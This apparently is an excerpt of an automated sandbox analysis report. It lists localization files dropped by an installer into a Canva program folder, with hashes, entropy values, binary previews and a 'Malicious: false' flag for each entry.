SHA-512:	A37DB9DA6D9B5F913930712A57FED8EBE1654787B246445A40F59A91FCC67373367CADAB2DD70A89445514F2D6D806FA3DFD744461E2C15777FFAD30D3D0BF12
Malicious:	false
Preview:	.........%L.e.....h.....i.....j.....k.....l.....n.%...o....p.7...q.=...r.I...s.Z...t.c...v.x...w.....y.....z.....\|.....}...............................................................................7.....b...............................................'.....b.........................................F.....u.....H...........V...........>...........9.....\.....C...........F.............................D.................N.....w.....^...................................D.....v.................s.................9.................q....." ....u ..... ....3!.....!....."....&".....".....#...."$....S$.....%.....%....$&....C&.....&.....'.....'.....(.....(....b).....).....).........B+.....+.....+.....,.....-....L.....\|.....8/...../....00....\0.....0....x1.....1.....1.....2.....3.....3.....3.....4.....5.....6....[6.....7.....7.....7.....8.....9.....9....{:.....:.....;....a<.....=....:=.....>.....?.....@.....@.....A.....B....KC.....C.....D.....E....>F.....F.....G....FH.....H.....H.....I.....J....DK

C:\Program Files (x86)\Canva\locales\is-EODML.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	510468
Entropy (8bit):	5.247079358159538
Encrypted:	false
SSDEEP:	6144:v8fC43K+W84G7nWiBx7+2YRldjiMIUcGm95bbHxOM9LLEWVHc:0V3KE4CnPx7AldPc9530Me
MD5:	EE31ADEDC69D7926395E4740E724245D
SHA1:	4403D976C2C559747E15B219E76342ED3B41E5CE
SHA-256:	280AE72F9FB328D6B9E0BAA5C27157E7E5BF0EBF699EBEAC597DA0ED4F670776
SHA-512:	69426971040E9C8C5F9645A9E8ECE83E166575C23D9B1C5DB3F5A22488E5F7988127799FFF4CBC7445D8407E5F0761A666713C433030ACCCA4C991DD323F3181
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.%...t.....v.C...w.P...y.V...z.e...\|.k...}.}...........................................................................................................s.................N.......................p.................7.......................Q.......................G.......................I.......................o...........(.....@.............................m.......................[.......................x...........E.....W.............................a.......................3...............................................&.....................................................m.......................`.........................................0.............................b.......................?.....h.....y...........(.....]....................... .....,.......................-.................;.....T...........K.......................\|.................5.............................Y.....{.................9.....f.

C:\Program Files (x86)\Canva\locales\is-F7T6O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543232
Entropy (8bit):	5.350780003321714
Encrypted:	false
SSDEEP:	6144:DD8qint0wME1/o/7Ng0Hkp3+UNoqFtnjO5Jmr40nIw6PZgHu:D4vthMsy7EpPoqTnjO5IrbnjO
MD5:	1EFB37FAA54DA5A7D9FE694FEE7D5E4E
SHA1:	497F6E0FB9DC099DFD8E107570FEBE9D0A6EBC2D
SHA-256:	77AA01763C114B75A83DE3C34C60497B1CA23C98523F58A43C76AAE7380AB3B6
SHA-512:	FACC41943159DAD7541F5D50B8216F6CCF02703A983DD81120F387DDEA70D502F5D66C275F80267C7A3B1EB9F1C751A4EC3B307D03F872BE4237366637BB829A
Malicious:	false
Preview:	........b%..e.n...h.v...i.~...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.!...\|.'...}.9.....A.....F.....N.....V.....^.....e.....l.....s.....t.....u.....w.............................]...........U.....p...........R.................>.................H...........+.....g.................=.....l.....\|...........>.....f.....w...........q.................e.................<.................W.....h...........8.....t.................}.................u...........9.....^.................F.....\.................0.....?.................8.....N.................M.....`.................I.....U.................3.....>....................... .........................................R.....l...........".....N.....k.................C.....b...........I.....n.................v.................[.......................O.......................e................. ...........4.................7 ..... .....!....+!.....!....."....O"....c".....".....#.....#....A#.....#.....$....R$

C:\Program Files (x86)\Canva\locales\is-FA36T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	553673
Entropy (8bit):	6.059297407958035
Encrypted:	false
SSDEEP:	12288:OokI3UKOV2Ngi7w2IyxxMSVG0GTZn8t8OQ4E3hkaYrLCqD5dEp7RqGT8U1wXq7hW:sFel5i8QzCr
MD5:	714958C45E5EEBD32B6799FFD76159C0
SHA1:	B38CA8FFBEE6FDAAA00DE9C77074F4F6BBFEFB8D
SHA-256:	87F8003E7FE90A487C1007A626D30B8A77FEB54E627D3FE365DDB6A66A7E4AC4
SHA-512:	E60E77022902BF13E747354BD1AE5E9C3F4E8E6642D52C0EABDBAFF7B829ADD3251851A02B65F941985D31C7D5EA02347023F33269336B8B476E2314924022BB
Malicious:	false
Preview:	........w$..e.....h.....i.....j.....k.....l.....m.....o.....p.....q.....r.....s.....t.....y.'...z.6...\|.<...}.N.....V.....[.....c.....n.....v.................................................................a.................9.................S.....f...........J.......................t.................+.......................0.......................?.......................P.......................i.......................].......................\...................................U.....l.................B.....Y.................$.....4.........................................1.....M.................E.....U.................P.....c.................O....._.................N.....^...........S.......................^.......................Y.......................d.................).......................N.............................l.......................`................./.......................q.................!.......................+.............................\|.........................

C:\Program Files (x86)\Canva\locales\is-G15LT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1125467
Entropy (8bit):	4.28845834623339
Encrypted:	false
SSDEEP:	3072:JASH222GPf+r97QyNiMJ0voJZVLF2wnVPbtwpFFyGRU3RxYR3lDdjE9xOUq/1A3Q:rYo+rdQyh0oaSpgKZmbzAyCLj5cpAK9T
MD5:	E45351AD81BE0444C2731E0FE2457BFD
SHA1:	23CAACD7F2354CB3C1A72CC89799DAAE3089EDE3
SHA-256:	BF42C87554153B83E53ED8B839A74A50E893ABDA190D7DDD73521CC6D121DFA7
SHA-512:	B93E70B09EB536A2AB58A064B05AA13D6B0EED08EE1681AB9C59374D119A8BF3CCC2793FE005D0C51734AFE25794C9BBD759EF7085A4B9FA6C3DD5E29D0F39B3
Malicious:	false
Preview:	........%<.e.....h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...q.f...r.r...s.....t.....v.....w.....y.....z.....\|.....}.........................................................................>.....`.................#.....[...........U.................H.............................8.....>.....;...................................$.................$.....D.....N.....,.................f...........m.......................~.......................a...................................P .....!....]".....".....#....g$.....$.....%.....%.....&.....&.....&.....'....H(.....(.....(.....)....~.....*....&+.....,.....,....M-....y-....@....../....a/...../....D0.....1....]1....}1....P2.....3....w3.....3.....4.....6.....6.....7.....7.....8.....8.....8.....9....4:....j:.....:....X;.....<.....<.....<.....=.....>.....?.....?.....@.....A.....A....CB....sC....lD.....D....>E.....F....MG.....H....3H.....I.....J.....K.....K....KM....UN.....N....cO....lP....JQ.....Q.....Q.....R.....S.....S.....T....3U....'V.....V

C:\Program Files (x86)\Canva\locales\is-GRT2N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	447042
Entropy (8bit):	5.522859001768912
Encrypted:	false
SSDEEP:	6144:hR4GWUMzWjLCI7MP9ej7HXfaYISMv5n51SKBcWRnpM:UEh7Ma7H6N51SOM
MD5:	413E4484B8AA83BF7D928AF143340DD9
SHA1:	92B8DC474FD507F28C51B34014FE9F867AF25531
SHA-256:	AD460425C88BE889D6D6A9B69D0B6F64E2E957BF8AC4F230DE4D25340C75BA87
SHA-512:	E8AB41CA706D8A49B4A411FB9F50BF1C04627DAB452A7AEC01A5C61E4951FDE42FC05163CBD193F034BFEE378849353DB9AD4B8A2DB3F992DF105DF17BB146E0
Malicious:	false
Preview:	.........%..e. ...h.(...i.6...j.B...k.Q...l.\...n.d...o.i...p.v...q.\|...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................$.....+.....,.....-.....2.....?.....N.....^.....o...........B.......................@.....q.................A.....}.................8.....g.....\|.................7.....E.............................W.......................:.......................0.....}.......................S.....~.................".....N.....Y...........".....d.....x.............................V.............................9.....Z.....f.................@.....S.......................#.....l.......................-.....q.......................2.....[.....f.................\.....q.................!.....7.............................?.............................U.......................,.....G.....V.......................>.......................3.................N.....\.................S.....p.................>.....M.............................c.............

C:\Program Files (x86)\Canva\locales\is-H86LT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	568567
Entropy (8bit):	5.839431034543846
Encrypted:	false
SSDEEP:	6144:0/AkCOZjqspN1oAUGCDAfiebO5zU8rEsiNOPY3SBFmPy38Qu:0dJZuSPoAUTbe65zU8rEsiNOA3SzmPH
MD5:	0E52AC897F093B6B48B5063C816F6CA1
SHA1:	4F4FEBB42FD7CDD0BC7DF97C37DB0E4AA16518E4
SHA-256:	5635587F6FFB152C027B4357092FE78168E31CBC7F6BE694C627F819C1AD1D73
SHA-512:	9CF5594AC47AE967BD4221F61B92C97343EA0C911FBE992D35A9391E3E1E6560B1B41BD031074CD262A622CA88AF3B25BA33575B456A4D5B8A7B897233C0A54D
Malicious:	false
Preview:	........?%'.e.(...h.0...i.8...j.D...k.S...l.^...n.f...o.k...p.x...q.~...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................&.....-.........../.....1.....A.....S.....e.....z.......................'................. ...../...........2.........................................=.......................9.......................<...................................S.....u...........\.........................................9...................................G.....a.................0.....G.......................*.....y.......................h.......................\|.................&.....w.......................l...................................&.....:.........../.....s.................".....=.....Q.......................2.................%.....;.................\.................9.....T.....h...........K.....{.................j.................6...................................`.................d ..... ..... ..... ....Y!....~!.....!....."....l"....."

C:\Program Files (x86)\Canva\locales\is-HPT40.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	535874
Entropy (8bit):	5.6117453642537285
Encrypted:	false
SSDEEP:	6144:KErTapWZp08qQdrdwZiRDhzXkKxv8CXHXki4wge75MW/2+qi1nEedGAMYw/KFT6Q:KECph8qeoi7zBkiN5MW/B
MD5:	04D37B8E9DB287042E86D0623063F9CA
SHA1:	C6C3C32350737EFBC938F59A12D1D4A1C2ACA736
SHA-256:	0FD794B314D12652CA5C1986795A00BD0116B44A3163D2EA0B26560E3AD23EEE
SHA-512:	38756868FDD0045AA3E10D26E89F923759AFF7FB4C984CAE2FC46091D737E6C9B5EDD924948671ABE4B9991E150DCB0068143618911595F021332A5DBA7AD912
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.%...r.1...s.B...t.K...v.`...w.m...y.s...z.....\|.....}...........................................................................................5...........X.................7.......................q...........,.....G.................C.....V.................&.....5.......................*.................,.....N...........A.......................f.......................].........................................].................-.......................3.................!.....2.......................,.......................;.................A.....R.................E.....R.................>.....J.................C.....P...........U.................'.......................(.....u.......................\.......................}.................9....................... .....y.................8.............................6.................N............ ..... ..... ....4!....z!.....!.....!....Z".....".....".....#....x#.....#

C:\Program Files (x86)\Canva\locales\is-I4IK1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	871955
Entropy (8bit):	4.902875426840413
Encrypted:	false
SSDEEP:	12288:4P9FlB5/G/d/RXCwR14fvPUKzUUk/K5MN0j+OzIh4pG:4LhQza5R+9
MD5:	4D0A0771176823BF004F9182B94BDE82
SHA1:	7E0601D8DCA0404736787D85918D1A680A7E68EC
SHA-256:	04E83274DEC0274DCCBD97DABCEFE3174EA1DA5B62B5D24E047E2036B93F3482
SHA-512:	6DD144273252026BCF08BE52189EA5A15410A42A616C9FAC14EDB4BE7D98023B65FA1746ED50B654E57F140790E8A92B1080F2F035ADB81B7D10AA473F2DCA61
Malicious:	false
Preview:	.........%8.e.....h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...q._...r.k...s.\|...t.....v.....w.....y.....z.....\|.....}.........................................................................K.............................;....._...................................m.......................b.................w...........Q.....h...........[.................D...........(.....m.....(...........:.....`.....?.......................S...........G.....u.................Q.....l.....s.....`...........?...........M.....w...........>...................................G.....g.................A....._...........^.................T...........>.....b...........g.................C ..... .....!....$!.....!....["....."....."....]#.....#.....$....5$.....$....0%....e%.....&.....&.....'....$'.....'....G(.....(.....(....L).....).....).....).....*.....+....T+....z+.....,....q,.....,.....,.....-..........t/...../....S0.....0....11....h1.....1....v2.....2.....2....33.....3.....3.....3.....4....75.....5.....5....K6

C:\Program Files (x86)\Canva\locales\is-I877M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	495339
Entropy (8bit):	5.423906423434989
Encrypted:	false
SSDEEP:	6144:GsKfvlCYYJ+8hz2bdXw5Op7fW9SighmrlDhP5RV5iM43CuMhVCD9vt:KVCj0bxw5Op7fW9S8lNxRV5iM43JF9vt
MD5:	03F4AB4F1D042E41B37438AD38DDC794
SHA1:	D465F7B3B05AC289F7C96FB9CF6603C30AF81466
SHA-256:	1A35A4E5348CA851ADEC4EA1C666D56750D39174A35D74AB87CD061ABE063BF3
SHA-512:	D0007B98BA9D9F2BC102A516CDE49B3982DB4698A1BD31E22104F5F634072943C98C7CD53E8CB02E320FD3A1455F8AE42DD99679A527C64723BD3BBC37743C23
Malicious:	false
Preview:	........^%..e.f...h.n...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.(...\|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....\|.....~.............................Z...........M.....b...........+.....d.....w.............................W.......................X.......................F.......................G.......................s.................;...........H.................".......................^...........#.....=...........].......................h.......................=.....b.....r........... .....E.....U.................T.....h...........(.....V.....f.................`.....p...........#.....L.....\.................H.....V...........@.......................N.....t.................2.....Q.....j.................9.....K...........8.....w.................b.......................n.................$.....u.................2...................................E.....n...........6 ....b ....u ..... .....!.....!....<!.....!....."....5"

C:\Program Files (x86)\Canva\locales\is-J54EJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1369647
Entropy (8bit):	4.256761759711836
Encrypted:	false
SSDEEP:	12288:oQyj0aIA2cMmsbbAU4LJxFq/ixn9mMl6UQ6KfUBp/OZCBEmeyo3ewhp5A47uhs4s:oQygaIiMGKfUBp+yo3eo5A47ks4+3X
MD5:	83069898AFA7CB0A288CF8D17505536F
SHA1:	2EC0F1F3CCDE4F88BBDF37EB1BF8FEDA82B12AB1
SHA-256:	957B57BAC9D8A927BE5CFBB74D23DCF69CF2678ECD4FCF2158A391F7A02FEA87
SHA-512:	E6F549C732F0BD0938B140978C49B2AA097876970ADFD7B87CA593ED54C3456C041FAC28883CFF7DA61C7EE3952A6C7EF2C4FAEDBFE6A23522FF6FFB083C24BB
Malicious:	false
Preview:	........t%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.,...w.9...y.?...z.N...\|.T...}.f.....n.....s.....{...........................................................$.....d.................Z.....C.......................W...........%.....r.....a.......................}.................n...........................................................I.................m.......................l.......................5.....y.................. ..... ....^".....#.....$.....$.....%....j&.....&.....&.....'....\|(.....(.....).....)..............*+.....,.....,....V-.....-....n....../...../...../.....0....n1.....1.....2.....3.....3....W4.....4....c5....+6.....6.....6.....7.....9.....9.....:.....:.....;....!<....Y<.....=.....=.....>....T>....0?.....?.....@.....@.....B.....B.....C.....D.....D.....E.....F....ZF....\|G....sH.....I....TI.....J....UK.....L....SL.....M.....N....yO.....O.....P.....Q.....R.....R....-T....(U.....U.....V.....W.....W....eX.....X.....Y.....Z.....[

C:\Program Files (x86)\Canva\locales\is-JVEJI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	569703
Entropy (8bit):	5.1919702904490395
Encrypted:	false
SSDEEP:	6144:aZdptKHeHQogDYIQy7DQEuH2V8L0dnGNLmG5IXmr1YARQqK:odM5kxEG5mmg
MD5:	E499AF17FCE1F7F276B3BFB0E1B2F5B2
SHA1:	E2BF18ACF2A9E357AA7A694B5C60F947FD8BB0C2
SHA-256:	A30015021FB928BCF16F9409FB45FB89CA3D196BAFB3597DF3FE4A9E477A3FD9
SHA-512:	A1F03B7A6EC3F4601052D4E1F2CA6C092D9E5FE41CE7DF89F7E7FBE1A1892DF73A9CB85058F3C24E1236ED013E2BDD017F7BEC3D6B6FF13CA61BF0849C73F472
Malicious:	false
Preview:	.........%..e.L...h.T...i.j...j.v...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.%.....-.....2.....:.....B.....J.....Q.....X....._.....`.....a.....f.....s.......................W...........F.....d...........[.................]...........J.....q...........f.................$.......................1.......................t...........%.....T...........j.................Y.................-.................T.....n...........i.................b...........N.....p.........../.....Z.....w...........%.....M.....Z.................8.....G...........$....._.....u...........A.....w.................I.....{.................J.....{.................L.....~...................................^.......................X.......................H.......................q...........*.....a...........(.....R.....l...........J.....}...........& ..... ..... ..... .....!....1"....."....."....@#.....#.....$....@$.....$.... %....V%....n%.....%....&&....N&....d&.....&....Z'.....'

C:\Program Files (x86)\Canva\locales\is-K32OA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	489715
Entropy (8bit):	5.4071564375394185
Encrypted:	false
SSDEEP:	12288:3an0y+3zo5ExirXKhaG1B2+H2JynyaI4IVzZo0vgElgA2W0PSq+2ss30fzO75g6D:3a0y+3zouxkXyd1B2+H2JynyaI4IVzZW
MD5:	2602CD68EBE25F12F5D9892D5FA92B11
SHA1:	478766DCC8CE4427872BEBD81AD929F7AEF250A3
SHA-256:	E36A906908A92DAD39AD8E5B344B38C538574E35C5386AC2B901640B202D3228
SHA-512:	6BBECBEAA6E09857A5698A280475496498A88488249025B2F58CA7A8493A77BC13FCD783041A6198F58696F4E2A84C3DBEE0891E89800DAC6F3FB317F70C5492
Malicious:	false
Preview:	........T%..e.R...h.Z...i.b...j.n...k.}...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......%.....*.....2.....:.....B.....I.....P.....W.....X.....Y.....^.....k.....z.................!.......................U.......................g.................%................. .....9.............................j.......................^.......................m.......................y.......................u.........................................2.................c.....z.................,.....=.............................J.............................e.......................Y.......................5.....].....f.................%...................................z...........(.....?.............................z.......................X.......................P.......................s.......................F.......................F.......................l...........8.....L...........%.....d.................J.....~.................!.....E.....S.................,.

C:\Program Files (x86)\Canva\locales\is-K366H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	655212
Entropy (8bit):	5.686448471913808
Encrypted:	false
SSDEEP:	6144:tPm/rHeA9VXH3Wv0WSGRpZXQ2y+BbX5znS1V7:o6UJHmccpZXQ2y+N5znC
MD5:	5C8C92313284117F3C549DC53273AE8B
SHA1:	697F746CFFBBCA1D43BBF29AC1619318BD3DC96D
SHA-256:	4C34AAFD5794886A4D091C4F4A97642BB9F199B90203D904E14E503FC3EDB845
SHA-512:	1C1232B6CDE8CBE2D827BEF0C0495165B4CC27494249BCB44B73D03404F3070AAF2CBD72F8425D24D197F14757553157858951280E524608AADA053EAE028DDC
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....m.....o./...p.<...q.B...v.N...w.[...y.a...z.p...\|.v...}.................................................................................................@.....a.............................v................B...........m.......................L.................a.........................................&...........".....Y.....~.............................e...................................$.....3.................K.....Z....................... ......................."...........#.....d.........................................4.................0...................................P.....b...........M................. .............................:.................:...................................!.....B.............................6.................4.................. ..... ..... ...."!....b!....}!.....!....R"....."....."....J#.....#....R$....g$.....$.....%.....%.....%.....&.....'....G'....h'.....'....V(.....(.....(....;).....)..........*

C:\Program Files (x86)\Canva\locales\is-LI88V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	708276
Entropy (8bit):	4.622250398985609
Encrypted:	false
SSDEEP:	12288:N7wJFZb6J5hhT3BluYCy31frspm2GWqu/kol4JACVXbfeQCajLn5O67cE+oixB0X:ZUFZQjb5woB
MD5:	0002D6ECC7F06D88DC714DEBF31C925A
SHA1:	4C5DE1E0A8EF47B0D98BB3A9C5C1EE176F0DF3EF
SHA-256:	D71C98ED9EF2AAF13033332DCD40F41785656C156D41614916353DAA3EA5F2A7
SHA-512:	060C668B540813055F7537B64F8A9F4B393E3E1D31A6341C603644725EB8673E3249A07B7F519CCCDB65C4D2ABED2792580DF880CFB8B9B154D9DDADB3ADE027
Malicious:	false
Preview:	........4%2.e.....h.....i.+...j.7...k.F...l.Q...n.Y...o.^...p.k...q.q...r.}...s.....t.....v.....w.....y.....z.....\|.....}................................................. .....!.....".....$.....;.....T.....m...........O.......................9............................._.................d...........3.....U...........J.........................................g.................?...........V.................f...........E.....d...........[.................C.................#.........................................(.....U...........?.....q...............................................<.....O...........E.........................................E.........................................A...........h.................Y.........................................4...........+.....{...........9 ..... ..... ....1!.....!.....!....."....3".....".....#....G#....`#.....$....u$.....$.....$.....%....u&.....&.....'.....'....>(.....(.....(....g).....)....4....[.....*....G+....w+.....+....P,.....,....=-

C:\Program Files (x86)\Canva\locales\is-N2UFI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	919180
Entropy (8bit):	4.8229638553919765
Encrypted:	false
SSDEEP:	12288:vzmSGKfQjRo4YS5KCx/K6NzJ9ZF/Aalla4qSGsN9z/0TYH8eXN2hVO3j/tSbzvMv:vYXxm506tU
MD5:	DE3B5FAF5D64B16867BE213591E545B9
SHA1:	5B8BDAF38278604B5031E1C944349A31FDD281B4
SHA-256:	07DBEEE5A0B9C6C978D1C593DB5DD6152003FA12170A8189BDDE77908D826DCF
SHA-512:	5808A46DD05302338EF63B1F1815828840218324A6FBB1AE6B19F62D803795BA13F7AB7AEE1E39137F61F99651AC80166781CDB1F295FBBFDBB218C5A293967F
Malicious:	false
Preview:	.........$..e.....h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...q.{...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................#..........+.....,...........K.....h.................h.....(.................y...........{...........~.....;.................y...........>.....x.....'.........../.....R.................H....._.......................A.....4...........~...........q...........V...........2.................8.......................G.....K.....E.......................'.....T...................................V...................................O.....t.........................................W.....n...........k.................9........................ ..... ....V!.....!....."....\|"....."....."....K#.....#.....#.....#....s$.....%....{%.....%.....&....%'.....'.....'....s(.....(.....(.....).....)....>....~.........\|+.....+....d,.....,....a-......................./.....0.....1....c1.....2.....2.....2.....2....o3.....3.....4....64.....5.....5....+6

C:\Program Files (x86)\Canva\locales\is-NBLD1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	577498
Entropy (8bit):	5.8098091220164525
Encrypted:	false
SSDEEP:	12288:rSkwf/qsOkNEpiIip+RC5zwbLfrQzLPxt9eI:3wf/qsgpiCC5OLkBtEI
MD5:	421D713180D716A060629C334630ED80
SHA1:	FD2D0A0A6D7A27C40A725C1757299AFE6D3A12FB
SHA-256:	BE66B2442B5B4A6DC28A14545E2C4A0BC7F9E6547A89F974D7B8A63525C1855F
SHA-512:	A6C8F62DFE81008A888FAB89BCCDCA8242650771BC2B07CB6B51B77DDA2C8EB9F2681D6260CA584ED2BDBC1EB6A60B78C8E07445FAA4E15D2B30134989263EB0
Malicious:	false
Preview:	........_%..e.h...h.p...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.'...\|.-...}.?.....G.....L.....T.....\.....d.....k.....r.....y.....z.....{.....}.............................p...............................................c...........7.....Q...........".....[.....r...........A.....p.................<.....e.....y...........R.................G.................6...........-.....h.................d.................7.............................-.....~.................O.....o.................E.....k.....}...........>.....e.....w...........W.........................................*.......................;.......................Z.............................5.......................8.....S.....g.................8.....M.................O....._...........\.................1.......................5.......................U.............................W ..... ..... ....R!.....!.....!.....".....".....".....#..../#.....#.....#.....$.....$.....$.....%....M%

C:\Program Files (x86)\Canva\locales\is-NT03T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	808052
Entropy (8bit):	5.022679220176124
Encrypted:	false
SSDEEP:	24576:Jap2Eq8u313uyqoT+s7q+NRmX1loT4RmdAQifaQ2XxFMJGk620driUHMX9O9xdpW:sUjJ5SV
MD5:	6C6C939CBCE5A9AE6B6A89B9DC1B14CD
SHA1:	8674B02FB2A11BA6664427C78401D261DCEC859C
SHA-256:	D77AADACDB5B72345C68590ECE6463EFCDD4E8817FE3DEDAD98D64F132B8E48F
SHA-512:	3CF8ECCAC20108550C2A7758531AE992D72AA23396ABDFD38E613ED26FC755FA33385B4538DCE9E19309B622973CA6D4C0FEEEDC7064DF9BB12419DFC630D545
Malicious:	false
Preview:	.........%W.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.!...r.-...s.>...t.G...v.\...w.i...y.o...z.~...\|.....}...............................................................................7.....^.....C.......................h.......................i.....).......................R.................k...........].....p...................................I.................r...........g...........%.................-...........l.......................O.......................\|.......................#.....W.....{.............................Y.........../.....F...........~.................s...........S.....j...........v.................N.................@...........f.................f .....!....r!.....!.....".....".....".....".....#....4$....y$.....$....I%.....%....6&....V&.....'.....'.....'....A(.....(....7)....\)....w)....1.........-+....O+.....+.....,.....,.....,.....-.........../...../....p0.....1....r1.....1....a2.....3....W3....z3.....3....\|4.....4.....4....t5.....6....`6.....6

C:\Program Files (x86)\Canva\locales\is-OECAR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	994931
Entropy (8bit):	4.737922927263801
Encrypted:	false
SSDEEP:	24576:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHuuD2Np6P4j/MAVH8yeVd85tRDQr3egif27:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHbp
MD5:	71ABCFDF468DC5813610DD32234BE946
SHA1:	AA4C14E702B06E391834E4CFC58929B873BC3D1A
SHA-256:	F1E01EEB90C0842F7AF927F65D034FC93FDBCBCB9B9EA7E31C79761C316C8FB8
SHA-512:	615B591E4BD744848E6E15B729E543FAA9AB06DB11F042FFF12FFEE6FD3E7802C9DA37D8784004E6727FC39CDE17BECB60C1158DEC401E20A088056451693BB8
Malicious:	false
Preview:	........X%..e.Z...h.b...i.j...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....a....................... .....G.....%.............................h.................z.....&.....X.....{...................................s...........9.................8.................&....._.....g.....a...........0.................A.....\.....C...........q.................H.................2............................y.......................N.................\...... ....J ..... ....a!....;".....".....".....#....g$.....$.....$.....%.....&.....&....&'.....'.....(.....(.....).....)..........*.....+.....,....%-.....-.....-.........../...../....$0.....0....M1.....1.....1...._2.....2....M3....z3....g4....'5.....5.....5.....6....J7.....7.....7....x8....:9.....9.....9.....:....e;.....;.....<....H=....c>.....?....R?....S@....:A.....A.....A.....C.....D.....D.....D....mE....7F.....F.....F.....G.....H....HI

C:\Program Files (x86)\Canva\locales\is-OGDMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	634523
Entropy (8bit):	5.786224749056375
Encrypted:	false
SSDEEP:	12288:HLvU+cmwJlroEKaaF/KtXy0xxcPdI9+vUx5a8hye94KieJziMHo6wtON:rs+cmwJl7a4ti0xeo5a88e1ieliMI6wI
MD5:	4185AB945C7550DE028909A55ABD3129
SHA1:	0D5DAF37C1A0528C6F1DBA47758FC18938B6F34C
SHA-256:	030D29BFC26F9F08DB13455C0D635F33B0315905D27D030D9F7813DADD899603
SHA-512:	F500B4957AB0192A570130868BD661F94B4D0CD36D6A9EA5BE45437C95DCD8923CCA1EBFACD9AC98B85420E1D9FA96A74A9D4801432296A87871867672B3C60E
Malicious:	false
Preview:	.........%^.e.....h.....i.....j.....k.....l.....n.....o.....p.....q."...r.....s.?...t.H...v.]...w.j...y.p...z.....\|.....}..................................................................................... .....?.......................1...........E................._...........S.....y...........z.................:......................./...................................K.....}.....=...........O.....}.............................~...........C.....Z...................................X.................\.......................v.................!.................=.....N...........L.........................................+.......................@.......................S.............................^.................c...................................-...........$.....Z.....z.....#............ ....n ..... ....R!.....!.....!....7".....".....".....#.....#.....#....S$....z$.....%.....%....3&....G&.....'.....'.....(....D(.....(....-)....b)....{).....)....N..........*....3+.....+.....,....<,

C:\Program Files (x86)\Canva\locales\is-P8KJC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	593573
Entropy (8bit):	5.6301516471633715
Encrypted:	false
SSDEEP:	6144:fZBZxz1/4i+sRe28W/raTmNstVFph6T97vcGj/kbO15UyYTbEwTe757esFOHAYX0:hNylsRpWXQT9PrV15cEwTY5tONA19
MD5:	0308AEC65AD35B2282571098DDDBA5AE
SHA1:	5DD9A983BE7C29405575C658E73633F678FE4469
